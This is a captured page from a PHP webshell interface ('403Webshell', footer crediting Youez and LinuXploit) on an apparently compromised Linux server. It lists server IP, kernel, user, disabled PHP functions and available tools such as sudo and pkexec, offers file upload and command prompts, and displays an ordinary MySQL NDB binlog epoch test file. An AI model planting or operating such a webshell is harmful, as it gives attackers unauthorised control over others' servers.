403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.69.166.57
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb_binlog/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb_binlog/t/ndb_binlog_last_commit_epoch.test
-- source include/have_ndb.inc
-- source include/have_binlog_format_mixed_or_row.inc

--echo Reset binlog and show no state held
reset master;
select count(1) from mysql.ndb_binlog_index;

--echo Create table for experiments
use test;
create table test.t1 (a int primary key, b varchar(1000), c text) engine=ndb;

--echo Basic test that an insert affects Server + Session epochs
--source ndb_binlog_init_epoch_vals.inc
insert into test.t1 values (1, repeat("B", 1000), repeat("E", 500));
--source ndb_binlog_cmp_epoch_vals.inc

--echo Basic test that a read with exclusive lock has no effect
--source ndb_binlog_init_epoch_vals.inc
begin;
select count(1) from test.t1 where a=1 for update;
commit;
--source ndb_binlog_cmp_epoch_vals.inc

--echo Basic test that a read with shared lock has no effect
--source ndb_binlog_init_epoch_vals.inc
begin;
select count(1) from test.t1 where a=1 lock in share mode;
commit;
--source ndb_binlog_cmp_epoch_vals.inc

--echo Basic test that a committedread has no effect
--source ndb_binlog_init_epoch_vals.inc
begin;
select count(1) from test.t1 where a=1;
commit;
--source ndb_binlog_cmp_epoch_vals.inc

--echo Basic test that an update affects Server + Session epochs
--source ndb_binlog_init_epoch_vals.inc
update test.t1 set b=repeat("E", 1000), c=repeat("A", 5000) where a=1;
--source ndb_binlog_cmp_epoch_vals.inc

--echo Basic test that a delete affects Server + Session epochs
--source ndb_binlog_init_epoch_vals.inc
delete from test.t1 where a=1;
--source ndb_binlog_cmp_epoch_vals.inc

--echo Show that server epoch is preserved across connections
--echo but session epoch is not

--source ndb_binlog_init_epoch_vals.inc
let $server_epoch= query_get_value(select @init_server_epoch as e, e, 1);
let $session_epoch= query_get_value(select @init_session_epoch as e, e, 1);
connect('ExtraConn', '127.0.0.1', 'root',,,$MASTER_MYPORT);
--source ndb_binlog_init_epoch_vals.inc
let $new_server_epoch= query_get_value(select @init_server_epoch as e, e, 1);
let $new_session_epoch= query_get_value(select @init_session_epoch as e, e, 1);

--disable_query_log
eval select $new_server_epoch >= $server_epoch as server_epoch_preserved;
eval select $new_session_epoch < $session_epoch as session_epoch_reset;
--enable_query_log

drop table test.t1;


Youez - 2016 - github.com/yon3zu
LinuXploit